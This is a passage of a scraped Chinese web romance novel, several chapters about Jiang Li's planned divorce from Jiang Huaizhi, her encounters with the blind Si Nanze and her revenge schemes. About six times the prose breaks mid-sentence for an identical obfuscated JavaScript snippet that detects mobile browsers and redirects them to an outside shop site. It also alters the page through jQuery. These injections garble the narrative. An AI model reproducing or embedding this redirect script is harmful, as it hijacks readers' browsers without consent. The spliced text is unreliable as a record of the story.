越过江淮之的时候,司南泽的头微偏,隔着一层玻璃扫了一眼,唇角微微上挑。 时愿看到江淮止偏头躲开的动作,眼神顿了一下。 “上车吧,我会让谢铭送你回老宅,该怎么处理我已经告诉过你了,不想再说第二遍。”江淮之语气温润,眼神却一如既往的寒凉疏离。 “你……” 江淮之直接打断她,“我的事情你不该过问。” 时愿咬了一下唇瓣,收回胳膊,低低应了一声。 等他们离开,江淮之脸上仅存的一点温和也一扫而空,一双眸子犹如深不见底的寒潭,透着凛冽的寒意。 江淮之给陆七打了电话,电话接通的第一句话就是:“沈叙和傅家都控制住了吗?” “嗯,都还在五层。” “你怎么样?” 陆七:“我给你发的信息你没看到吗?姜梨都要跟别人跑了你还有空关心我呢?” “什么?”江淮之眼睛眯了眯,他今天一整晚都在打仗,还真没有看到陆七发的信息,“姜梨怎么了?” 陆七那边安静了一下,然后说:“姜梨今天也在暮色,她跟谢鹤扬两个人误打误撞进了我的房间,说是来约会吃饭的。” 姜梨跟谢鹤扬?约会?扯犊子呢? 她就算是跟叶辞约会,也不可能会和谢鹤扬。 “我一开始也不信。”陆七咬了咬后槽牙,给江淮之补了一刀:“但是刚刚我出来的时候,看到两个人,好像,亲在………” “嘟——” 陆七听到那边传过来一阵忙音,心里想的是,沈叙那群人今天怕是要完。 尽管沈叙和楚云还有傅绾这三个人不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293885|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么好东西,他还是为他们捏了一把汗。 —— 姜梨从车上下来,冷风吹得她的头发飘了起来,她“嘶”了一声,藏在袖子里的手指节缩了缩,有些冷。 要关车门的时候,她微微俯身,看着车里坐着的司南泽,说了一句:“谢谢四少爷。” 不知道是因为冷,还是因为别的,她的眼皮和鼻尖都有些泛红,声音也哑。 司南泽扭头,毫无聚焦的眼睛看着她的脸,笑了笑:“不客气。” 等姜梨走进机场,司南泽脸上的笑淡了下来,对裴安道:“在这附近绕一圈,然后到出口那边去。” 姜梨一边走一边给沈翊发信息,把她上错车的事情跟他讲了一遍,让他不用担心。 夏栎知道姜梨眼睛不好,特意等在了最显眼的位置,方便她可以一眼看到她。 她穿着一袭黑衣,头上的一顶鸭舌帽压的很低,遮住了眼睛和大半张脸,只露出来一截下巴。 姜梨一眼就看到她,三步并作两步的跑过去,她已经来不及再说那些告别的话,直接将外套口袋里的身份证摸出来塞进她手里,“假身份证过不去安检,我给你改签到了十二点半的票,到了港城直接回疗养院。” 夏栎看着她,用手势比划:“你后续要做什么,我还可以帮忙。” 姜梨:“你已经做的够多了,其他什么都不用再做。好好在疗养院治疗你的嗓子,其他所有的事情都交给我。” 夏栎继续比划:“你是想让沈月汐主动来害你,然后和她同归于尽吗?” 姜梨耐心跟她解释:“不是同归于尽。我在港城还有其他帮手,会有人来救我,我不会有任何危险。” 这章没有结束,请点击下一页继续阅读! 第98章 司南泽:那个雨天 姜梨仰头看着司南泽,愣了好半天都没反应过来,他没有走吗?怎么还会在这里? 司南泽站的距离不算太近,举着伞微微朝她倾斜,他的半边肩膀被融化的雪花润湿了一块,留下深黑色的印记。 不远处的黑色宾利还亮着两束车灯,裴安站在车边,静静地看着他们这个方向。 司南泽站在这里很久了吗?她居然都没有听到动静。 “您……” “姜二小姐,我叫司南泽,不叫您。”司南泽打断她的话,“你可以叫我的名字,或者喊哥哥也行。” 哥哥…… 姜梨的眼神闪了闪,抿抿唇,“南泽少爷还有跟踪别人的癖好吗?你又看不到,怎么知道我在哭?” “裴安就是我的眼睛,他看得到。”司南泽的肤色带着病态的苍白,连同唇色都很淡,“不是跟踪你,你大半夜走夜路会不安全。” 司南泽的声音不是冷,而是淡,淡到几乎透明飘渺,却又很温和,渗进骨子里的温和,“所以为什么要哭?” “这不是刚送完朋友吗?就伤感一下,意思意思。”姜梨停顿了一下,闷声:“顺便想了一下我哥和阿南姐,我没给他们哭过丧,觉得今天挺合适,就哭一哭,意思意思。” 司南泽眸底暗了暗,没有搭话。 姜梨吸了一下鼻子,脸上的眼泪被冷风吹干,又干又凉,眼睛有点睁不开,大概是肿了。 “你要回哪里,我送你。” 学校这个点肯定已经回不去了,秋水湾她也不想回去,以后都不想回去了。 姜梨想了一圈,都不知道该去哪里? 真是好惨啊,这偌大的樱洲城,居然没有她可以去的地方。 姜梨眉目流转间看着司南衍,轻轻一笑,嘴里报出来一个地名:“江锦花园。” 姜梨撑着膝盖站起来,看向司南泽那双眼睛,主动牵住了他的手,带着他往前走。 她的手很凉,但是很软。 让司南泽想起来那个雨天,也是这样柔软的触感,也是这样的悸动,心脏跳动的频率都是一样的快。 他下意识就要收紧手掌,然后握住她,但是怕太冒犯会吓到她,又忍住了。 走到车边,姜梨自然的松开他的手,帮他拉开车门,改扶着他的胳膊,然后把伞从他手里拿过来收起来,让他先上车。 还不忘小声提醒他:“你别磕到头了。” 司南泽哑声“嗯”了一下。 冷空气被隔绝,姜梨贴着车门坐在一边,稍微有些拘谨,她的小半张脸埋进围巾里,像鹌鹑。 司南泽淡声开口:“裴安,去江锦花园。” 姜梨中途摸出手机看了一眼,除了谢鹤扬发来的已经搞定了的信息以外,还有一条是江淮之发来的,时间是一个半小时前。 也就是她和司南泽刚离开暮色没多久的时候。 “回学校还是在秋水湾?” 他不是和时愿在一起吗?干嘛还要来问她?他把她当什么? 姜梨的指尖微微泛白,隐隐有些抖,点进那个头像,把他拉进了黑名单,手机联系方式也没有放过。 然后给谢鹤扬回了一个谢谢的表情包。 她觉得有些无聊,忍不住在心里想:他们这一对主仆,安静的有点太过分了。 姜梨揪着衣摆,用余光悄悄地打量司南泽。 司南泽的长相不似江淮之那般凌厉,五官清秀干净,光看这张脸,确实配得上一句陌上人如玉,公子世无双。 司南泽和司南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293886|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍是同父同母的亲兄弟,但是这样仔细看下来,他们两个长得并不像。 哪里像司南赫和江淮之这两个人,就算不是一个妈生的,她当时只看了一眼,就知道他们是亲兄弟。 而且还都是一样的渣,狗男人。 司南泽靠着座椅,声音有些沙哑:“在想什么?为什么不说话?” 姜梨:“在想你的眼睛是什么时候伤到的?” “很久了,大概是十二岁的时候。” “啊?”姜梨有些震惊,然后在心里算了一遍,迟疑的说道:“十四年?这么久?” 司南泽的睫毛颤了一下,“嗯”了一声。 “为什么不治疗?比如换眼角膜什么的,你们司家不是很厉害吗?” 司南泽笑了起来,给她举例:“这种东西不是想换就能换的,有钱有权有势最后得了心肺疾病去世的人也比比皆是。” 姜梨不说话了,当初如果不是林遥,她也不能复明。 突然,她想到了什么,然后说:“司承德不是已经死了吗?他的不可以换吗?” “大伯的遗体是大哥和三哥在处理。” 言外之意就是,江淮之和司南赫都没想过要把司承德的眼角膜移给他。 江淮之从来都不是会管闲事的人,司南泽自己不开口提,他就不会去管。 姜梨没再继续问,她蹦哒了一天,刚刚又哭了这么久,现在眼皮越来越重。 没有两分钟,姜梨头一偏,然后闭上眼睛靠在了司南泽的肩膀上,睡着了。 前面开车的裴安透过后视镜看到这一幕,刚张嘴发出一个音节,就被司南泽冷声打断:“ 别吵,聒噪。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第99章 分手,离婚! 姜梨猛地睁眼,看到放大的一张脸吓了一跳,像弹簧一样坐正了身体,从他大腿上离开。 她惊魂不定,额前的碎发被汗水打湿,脸颊泛红,微微喘粗气。 司南泽眼里划过一丝笑意,温声道:“江锦花园,已经到了。” 姜梨回神,看向窗外,的确已经到了江锦花园小区门口。 她抿了一下有些泛白的唇,对司南泽说道:“今天我上错车的这件事情,你可以不要告诉其他人吗?尤其是你大哥,他会骂我的。” 司南泽觉得好笑,“他骂你什么?” “会骂我鲁莽。”姜梨张嘴就开始乱编,“还会说我乱给别人找麻烦,不懂规矩。” 然后她又补了一句:“还会打断我的腿。” 司南泽失笑,“行,我不告诉他,这是……我们的,秘密。” 姜梨伸出手,翘起小拇指,“拉钩。” 司南泽配合她,抬起胳膊做了同样的动作,他的眼睛不方便,姜梨主动钩上了他的小拇指,最后还不忘盖个章,“骗人是小狗。” 他的眼睛弯了起来,显得更加温润柔和,语气带着点不易察觉的宠溺,“骗你的话,就是小狗。” 姜梨拉开车门,看到外面飘着的大雪,扯过大衣上的帽子扣在了头上,要走时司南泽喊住了她。 “下次再见的时候能不能不要叫我四少爷?”司南泽扭头,眼神呆滞的看着姜梨的方向,对她第三次重复:“我叫司南泽。” 姜梨应了下来,然后车门被关上,她的身影消失在夜色里。 车里的那点暖意降了下来,指节被她触碰过的温度开始消散,司南泽的表情像一壶凉透了的茶水,变得寡淡无味。 “沈叙那边怎么样了?” “和您猜想的差不多,傅绾动手害时愿不成,反而坑了自己和沈叙。”裴安在司南泽和姜梨在街边的时候已经接到了报信的电话,想到后半段内容,他想了一会,含蓄的表达:“但是出了一个意外,一起被抓到的还有一个沈君临。” 司南泽惊诧的挑了一下眉毛,他现在都已经能预想到,北城和樱洲明天的头版头条会是什么了,沈家和傅家又会乱成什么地步。 “而且,沈叙现在我也联系不上,不知道具体是什么情况,倒是傅市长来过信息,问您接下来该怎么办?” 他前脚刚想办法帮沈叙摆平沈氏被查处的危机,后脚就又搞出来这么一个烂摊子。 “他自己管不住两个女儿,非但导致傅绾进不了司家的门,还莫名其妙的搭上了一个沈叙,还有脸来问我该怎么办?”司南泽因为这句话气笑了,“你直接告诉他,我从来都不下没用的棋子,让他和沈叙自己想办法,以后也不用再联系我。” 裴安应下来以后沉默了半分钟,然后才斟酌着开口:“先生,姜梨是姜祈安的妹妹,您今天,心是不是有点太大了?万一她是故……” 司南泽面色不改,出言打断:“你是在质问我?还是在教我做事?” “不敢。”裴安立马低头噤声。 “以后见到姜梨就要像见到我一样,你今天敢拿枪对着她……”司南泽停顿了半秒,随即语气变得冰冷:“是活得不耐烦了么?” 裴安抿唇,硬着头皮又说了一遍:“不敢。” 司南泽淡淡瞥了他一眼,身上的锐气被他收了回去,“不知者无罪,但是你的确是吓到她了,少不了一顿皮肉之苦来长记性,回去主动领罚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293887|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。” 司南泽吐出一口气,闭上眼睛,“回老宅,我累了。” —— 阮经颜打开门看到门外的人是姜梨时,愣了一下,“你怎么……” 姜梨的心跳的飞快,腿也软的厉害,不等她说完就跑进去摔进了沙发里。 她出了好多汗,后背的衣服都被汗水浸透,湿答答的贴在皮肤上,整个人都像是被水里捞出来的一样。 刚刚在车上的时候,姜梨其实并没有睡着,全部都是装的。 她实在想不通到底是一个什么样的人才会让身边的保镖随身配枪?而且那个反应速度……快得有点过于离谱了,根本就不像是普通的保镖。 察觉到司南泽不对劲,所以她才会轻易的上了他的车,然后假装“梦呓”来试探他对姜祈安的死有没有其他特别的反应。 他刚刚凑过来的时候,姜梨感觉得到,他应该是想要亲她的,只是最后关头又停下来了而已。 那个时候姜梨有多紧张只有天知道,慌到心脏都快要跳出胸腔,这场戏,她在那一刻差点儿演不下去。 她和司南泽算起来,今天不过就是第二次见。甚至在他的视角里,他和她是第一次见面。 上次在宴会厅,她没有出声,司南泽认不出她。 什么人会对第一次见到的姑娘动这种心思?况且司南泽脸她长什么样都不知道,根本就没有见色起意这种可能。 唯一的解释就是,他们之前就认识。 姜梨现在已经百分百确定,就是洛骞这个顶级的心理医生,通过某种治疗手段,抹掉了她的一段记忆。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第100章 姜梨一定会离开你 “真的假的?” 姜梨点头如捣蒜,“我不想跟谢鹤扬躲躲藏藏谈地下情,我要给他一个正当的名分!我要跟江淮之离婚!” 阮经颜见她表情认真,心头跳了跳,问了一句:“你跟谢鹤扬,是认真的?” “比珍珠还真!” 见状,阮经颜站了起来去了卧室一趟,等再出来时手里就多了一部手机,“你要是真确定要跟江淮之离婚,我这里还真认识几个律师朋友,现在就可以帮你联系,明天……哦不,是今天下午就能安排你们见面。” 姜梨忙不迭答应,“我本来就是因为沈叙会害我,想找个靠山,所以才答应跟江淮之结婚的。谢鹤扬在港城那也是呼风唤雨的存在,而且底子还干净,人也长得帅,我为什么不确定?” 她话音刚落,阮经颜就拨通了一个号码。 开什么玩笑啊?姜梨现在别说是已经想好要离婚了,就算是她不离,同时谈十个八个她都只会拍手叫好。 自打时愿和江淮之的事情被曝出来,阮经颜顿时觉得自己从高中磕到现在的cp是真的难磕。 姜二梨是谁啊?北城才女,长得漂亮还有头脑,才貌双全,怎么就要吊死在江淮之这棵歪脖子树上了? 对于这种忘不掉白月光的渣男,她向来都是劝分的。多犹豫一秒,都对不起她跟姜梨这么多年的情谊。 姜梨看阮经颜在认真的跟电话那头的人交流,心里微微松了一口气,她这下应该是相信了。 她今天去机场见过夏栎的事情不能让任何人知道,就算是阮经颜也不行。 谁也不能阻拦她报复沈月汐。 就算是搭上她这半条性命,她也要让沈家、楚家身败名裂,沈月汐和楚云也必须下地狱。 害得她家破人亡的人,一个个的都别想跑。 —— 时间回到两个小时前。 樱洲医院,江淮之被洛骞用束缚带困在了病床上,他双目猩红,握成拳的手背上还残留着干涸的血痕,青筋凸起。 平日里温和疏离的一双凤眸此刻全是压不住的暴虐和凶残,头发凌乱,面色冰冷,好似刚从地狱里走出来的使者。 洛骞看着江淮之这副样子,眉头紧锁着摇头,拿起针管给他打了一针镇定,然后快速的走出去关上门。 简清时和陆七两个人坐在外面的长椅上,脸上都多多少少挂了彩,不算太严重,是被误伤蹭到的。 “沈叙干什么了?还有傅家那个二小姐又怎么招惹他了?” 洛骞接到陆七的电话时已经在去见周公的路上了,听到他说江淮之快把沈叙和傅雪给弄死了的时候,他像被泼了一盆凉水,瞬间清醒过来。 第一时间赶到了暮色。 江淮之不发疯的时候温文尔雅,淡漠疏离,对任何事情都不在意。但是一旦发疯,那就是另一个极端。 当时他赶到现场的时候,在场的五个男人齐上阵,竟然都拉不住江淮之一个。 让他更惊悚的是,他居然还对傅雪动手了,差点把人家的脖子掐断,当场窒息昏迷,估计现在都还没醒过来。 简清时也不知道发生了什么,傅绾会对时愿下手他们早就知道了,也提前做好了准备,江淮之却突然临时起意,把人选从沈翊换成了沈叙不说,还把沈君临也算进去了。 事情到这里就应该结束了,谁知道江淮之下去送个人之后就突然疯起来了? 冲到五楼,二话不说就把还没完全清醒的沈叙一顿暴揍,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293888|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连衣服都没让他穿好,拎起椅子就给人开了个瓢。 至于傅雪么…… 完全就是她自己蠢,都到这种地步了,还在往陆七和时愿身上泼脏水。江淮之没有什么道德观念,自然也没有什么不打女人的绅士风度,一把就掐住傅雪的脖子,当时要不是谢鹤枭和楚卿然在,傅雪能当场被他掐死。 时愿是冒牌货的事情简清时和陆七都知道,简清时一开始还以为江淮之在做戏,但是他下手太狠,几个人都拉不住,这才知道他是真的在发疯。 陆七这时悠悠开口:“姜梨今天也在暮色,她和谢鹤扬误打误撞进了我的房间,说在约会。我一开始没怎么信,但还是跟江淮之说了。” 他停顿了一下,接着说:“后来我看到两个人在暮色门口亲在一起了,我肯定不能不跟江淮之讲吧?” 洛骞皱眉,自打姜梨在他那儿偷过视频,他就见识到了姜梨的演技有多好。姜梨有多喜欢江淮之,没人比他更清楚,她怎么可能跟谢鹤扬在一起? 她这是在用这个掩盖其他什么事吗? 同样震惊的还有简清时,他问陆七:“你确定你没看错?监控呢?你查了吗?” 陆七点头:“看过了,没有一点问题。” 洛骞和简清时对视了一眼,不说话了。 怪不得,江淮之会这么疯。沈叙和傅雪这是运气不好,刚好撞在了枪口上啊。 三个人沉默了五分钟,洛骞心里还是觉得有点不安,眼皮子也总是跳。 还是得私底下找人盯着姜梨一点,虽然江淮之说姜梨没有看到什么,但是她最近实在是太反常了,不看好一点不安全。 本小章还未完, 请点击下一页继续阅读后面精彩内容! 第101章 拉着谢鹤扬在他面前亲个够 江淮之的拳头在听到洛骞说的这句话时再次捏紧,脸色也随之阴沉了下来。 姜梨会离开他? 他掀起眼皮,眼神直直地盯着洛骞,压制下来的暴戾再次席卷而来,强大的压迫感让人不寒而栗,“你说的这么笃定……怎么?姜梨私底下跟洛医生谈心得了,是她亲口告诉你的吗?” 得了,他这是又踩到江淮之的逆鳞了。 洛骞哼了一声,“陆七都亲眼看见她和谢鹤扬在一块了,你要是再这样不肯说一句真话,姜梨真的会离开你。” 江淮之眼皮垂下来,敛去眸底翻涌的情绪,淡淡的嗯了一声。 “就嗯啊?没别的了?”洛骞挑了一下眉毛。 “姜梨都能把你这个心理医生骗得团团转,然后从你电脑里不露痕迹的偷到东西,骗陆七岂不是更简单?”江淮之眼睛看着天花板,声音有些哑:“就算是真的又怎么样?小狐狸的爪子现在太长了,我就让她再闹腾两天,等我把司氏的烂摊子处理完,就去把她的利爪和尖牙全部都拔掉,然后关起来。” 江淮之这段富有深意的疯话让洛骞的嘴角抽搐了一下,忍不住翻了个白眼。 这种话,也就只能吓唬姜梨了。 他哪里会舍得? 洛骞看他缓的差不多了,于是开始帮他解束缚带,“我会给你开药,这段时间事情这么多,你还是吃着控制一下吧,会舒服点。” 江淮之扯了一下嘴角:“随便。” 他开他的,但是江淮之会不会吃就是另一回事了。 “刚刚你说先让姜梨闹腾两天,这么说你明天就要回北城?” “嗯,明天下午。”镇定剂的药效还没过,江淮之还保持着躺在床上的姿势,“还要去杭城和国外,我不在的这段时间会让宋折从江城过来盯着姜梨,你也帮我看着她点。” “行。” —— 当天甚至都没有等到下午,早上九点姜梨就和阮经颜认识的那个律师在咖啡馆约谈了。 律师大概率是阮经颜认识的朋友,是一个年轻的女人,很随性,她看到姜梨时微愣了一下。 陈星漾是凭借姜梨这张跟姜祈安七八分像的脸认出她的,她在樱洲也多少听过“北城才女”这个响亮的名号,光看这张脸确实很让人赏心悦目。 不过…… “姜小姐什么时候结的婚?”她看向跟姜梨一起来的阮经颜问道。 姜梨比了一个二。 “两年啊?”律师惊愕不已,想到姜梨的年纪不大,下意识就问:“你们是在国外领的证吗?你的丈夫是外国籍?” 如果双方都是中国籍,在国外领证,这种情况在国内就只能走诉讼离婚,不能协议离婚。 如果有一个人是外国籍,可以协议离婚,但是要双方完全自愿。 姜梨现在这个样子,怎么看都是她单方面要离。 阮经颜听到陈星漾问的问题,憋笑憋的肩膀都在可疑的抖。 谁会想到姜梨闪婚就算了,现在还闪离,buff都叠满了,完全可以出一部小说了。 姜梨在桌子底下轻轻踢了她一下,然后解释道:“不是两年,是两个月。” “………”陈星漾沉默了一瞬,继续问:“是男方家暴出轨,还是你们感情不合?或者是因为其他的纠纷?” “没有家暴,双方都出轨了。他有白月光,我有朱砂痣。”姜梨喝了一口热牛奶,面色不改:“我们除了感情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293889|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不合以外,没有其他的纠纷。我也不要他的财产,我现在只想快点把婚给离了,一点都不想拖。” 姜梨才不要继续跟江淮之继续玩什么替身白月光的戏码,江淮之不过就是仗着她喜欢他,所以才这样来骗她。 那她不喜欢了还不行吗? 陈星漾:“你的丈夫同意吗?如果他不同意的话,你就只能上诉。” 这个姜梨还是多少知道一点的,毕竟楚云跟她爸爸离婚的时候也拖了很久,最后也的确是上了法庭。 相知相爱到结婚,十几年的路程,到最后却是那样的歇斯底里,极其的不体面。 她和江淮之还不至于要到上法庭的地步,他现在没有什么理由会不同意。 毕竟,时愿已经回到他身边了。 看昨天那个情形,只要有江淮之在,那个藏在司家对时愿有威胁的人动不了时愿,江淮之现在就是她最好的保护伞。 时愿自己估计也不会离开江淮之,姜梨不用因为南诗奕的关系再费心力去管这件事,她现在还有更重要的事情要做。 “姜梨?姜梨!” “啊……”姜梨回过神来,视线重新聚焦,看着陈星漾道:“陈律师帮我拟一份离婚协议书吧,他一直都挺忙的,我没有找到机会跟他提过这个事情,他不会不同意的。” 陈星漾有带电脑,就这样现场拟了一份离婚协议书出来,将文档传给了阮经验。 “如果后续有什么问题可以联系我,我可以给你提供其他的方案。” 姜梨笑着点了点头。 阮经颜今天休息,不用去公司,姜梨也不着急回学校,就这样漫无目的的闲逛。 这章没有结束,请点击下一页继续阅读! 第102章 司韩野早就死了 谢鹤扬唇边挑着一抹笑,眼神的在阮经颜和姜梨身上打转,最后停在了姜梨脸上,轻飘飘的说道:“我觉得你朋友这提议挺好的,梨妹,你觉得呢?” 姜梨:“………” 谢鹤扬!他到底!是怎么说出来这种不要脸的话来的!? 阮经颜听到话茬不对,眼睛滴溜溜的转,一副随时准备吃瓜的样子,全然忘记了那句炸裂的话是从她嘴里说出来的。 姜梨硬着头皮接下他的话,小小声道:“我觉得这样不太好,可能不太雅观。” 谢鹤扬挑眉,“你昨天当着陆七的面对我又亲又抱的时候怎么不说这种话?” !!她哪里有!她又没有真的亲上去! 阮经颜听到这话眼睛都亮了起来,原来是真的?真在谈恋爱?! “什么又亲又抱?”谢鹤枭和纪繁星一起走出来,刚好听到这句话,看到姜梨两个人都愣了一下,谢鹤枭随即轻笑一声:“好巧啊姜二小姐。” 姜梨跟纪繁星对视了一眼,“呵呵”干笑了两下,没有吭声。 “跟梨妹妹讨论江总啊。”谢鹤扬连头都没回,眼睛紧紧盯着姜梨,一字一句道:“和他那个叫什么时愿的白月光,刚刚在这里又亲又抱的。” 姜梨的表情僵了一下,江淮之刚刚来过?还是和时愿一起? 从她拉黑江淮之到现在,他也没有联系她,而今天一大早,就陪着时愿来买糕点。 江淮之不是没有办法联系到姜梨,只是不愿意罢了。不过也是,江淮之是谁啊?他用得着主动低头向她解释什么吗? 原本就不高的情绪现在变得更加沉闷压抑,也不禁忍不住在心里骂自己吃相难看。主动拉黑的人是她,打算要离婚的是她,现在期盼他来找她的还是她。 真是贱到没边了。 纪繁星当然知道姜梨此时的心情,瞪了谢鹤扬一眼,“人哋就系一起买个糕点,全程规规矩矩嘅,边又惜又抱啦?乱讲说话。”(人家就是一起来买个糕点,全程规规矩矩的,哪里又亲又抱了?乱讲话。) 谢鹤扬被戳穿也不觉得有什么,他现在就是看江淮之哪哪哪都不顺眼。带在身边的那个女的跟姜梨长得那么像,害的他认错人。 一开口就是一股绿茶味,死装死装的。 喜欢的初恋跟自己养妹这么像,谢鹤扬都要怀疑江淮之最开始进姜家是不是就奔着这一点去的。尤其是姜梨还喜欢他,保不齐就是江淮之故意勾引她的,表面高冷不在意,他心里估计都要爽死了。 谢鹤扬越想就越不爽。 “你哥哥玩这么花,你那个被深藏起来的嫂子就没有意见吗?” 姜梨张口就开始胡编乱造:“好像已经在准备离婚了,这个是真的假的我还不知道。反正她跟我吐槽的时候,意见和怨气是挺大的。” “哼,比你有出息。” 阮经颜和姜梨:“………” “我说,你们樱洲和北城的男人也就这样了,你不如嫁到我们港城来。” 谢鹤扬的话说的太直白,姜梨皱眉。 怎么就莫名其妙扯到“嫁”这个问题上了?谢鹤扬是受什么刺激了吗? “不是,哥。”姜梨有些无措的看了看谢鹤枭和纪繁星,然后又将视线移到谢鹤扬脸上,“就算是我愿意嫁,谢老爷和谢夫人也不会同意。” 谢家的门楣,哪里是随随便便就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293890|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能踏进去的? 港城第一豪门,要娶也是娶门当户对的人家。他们讲究的是强强联合,相得益彰,锦上添花。 纪繁星当初还是纪家千金的时候,谢家上下喜欢的不得了。可后来纪家遭人陷害倒台,他们想也不想的就让谢鹤枭重新挑个未婚妻,要认纪繁星当干女儿。 所以,谢家绝对不会娶一个对家族没有任何助力的人。 姜梨的情况比纪繁星还要糟糕,因为楚云和沈月汐这两个人作妖,她在港城的风评……其实很糟糕。 几乎是把“小小年纪心思歹毒”的标签牢牢的安在了她身上,虽然已经过去了十几年,但是记性好的人依然会扯出来大做文章。 别说是娶了,怕是连门都不会让她进。 谢鹤扬勾唇,眼角眉梢荡开笑意:“你的意思是说,只要他们同意了,你就可以嫁给我?” 那倒也不是这样。 见她一直不说话,谢鹤枭也觉得谢鹤扬这样有点冒犯了,喊了他一声:“你吓到人家了。” 她哪里是被吓到?分明就是在纠结到底要怎么拒绝他才显得委婉,然后他们在谈恋爱这场戏又能继续演下去。 利用人的时候嘴巴比谁都甜,达到目的之后毫不犹豫的抽身而退。表面上看着性格温吞,像是一湖没有波澜的清水,实则是一枝浴火的带刺玫瑰,脾性刚烈。 玫瑰美丽,叫人看一眼就能上瘾,但是稍不注意就会被根茎上的尖刺割伤皮肤。 谢鹤扬敛眸,表情认真,语气郑重,“你如果想清楚了,不想再待在江淮之身边看他莺燕成群,我可以随时上门提亲。” 这章没有结束,请点击下一页继续阅读! 第103章 白瞎了一张跟时愿长得像的脸 “但是江城确实是有司韩野这么个人,我拖江城的朋友打听到了他以前的住址,询问了几个邻居,司韩野的妈妈是江城出了名的风尘女子,经常和男人厮混。”电话那边的叶辞慢慢将他查到的事情娓娓道来,“后来他妈和隔壁的瘾君子搞在一起染上了毒瘾,那个男的也是个混混,还带了一个女儿,后来这个男人就成了司韩野他的继父。” 姜梨看了一眼旁边的阮经颜,索性直接开了免提,拉着她坐在了路边的木椅上,“然后呢?接着说。” “司韩野他妈后来被送去了戒毒所,他继父也不想管他,干脆又找了个女人,又带来一双儿女。那个儿子不是好东西,猥亵未成年被抓进少管所。” “后来不知道发生了什么,司韩野就去把他的前继父一家都给杀了,自己也跳楼身亡了。” 姜梨皱眉,“那你有查江淮之那个时候在哪吗?” 叶辞嗯了一声,“查了,他那个时候还叫江野,跟他妈住在清镇,司韩野和他们离的挺远的,在西巷。” 意思就是江淮之和司韩野完全不沾边,他们是两个人。 “你怎么突然叫我去查这个?” 姜梨弯腰,捡起地上的一根树枝把玩,“就是突然听到这个名字。姓司,江淮之的小名刚好又叫阿野,就在想是不是有什么关系。” 叶辞听她这么一说,也应了一声,确实是挺容易让人误会的。 “对了。”叶辞想起来一件正事,问她:“你昨天跟楚云说什么了?那个跟林遥有关的视频是你放的吧?你想干什么?” 姜梨也没有瞒他,“那个是在南诗奕的遗物里找到的,刚好有沈月汐亲口承认她纵火的口证,我就用这个东西跟楚云换了姜氏百分之十四的股份。” 叶辞有些意外:“就这样她就给你了?” 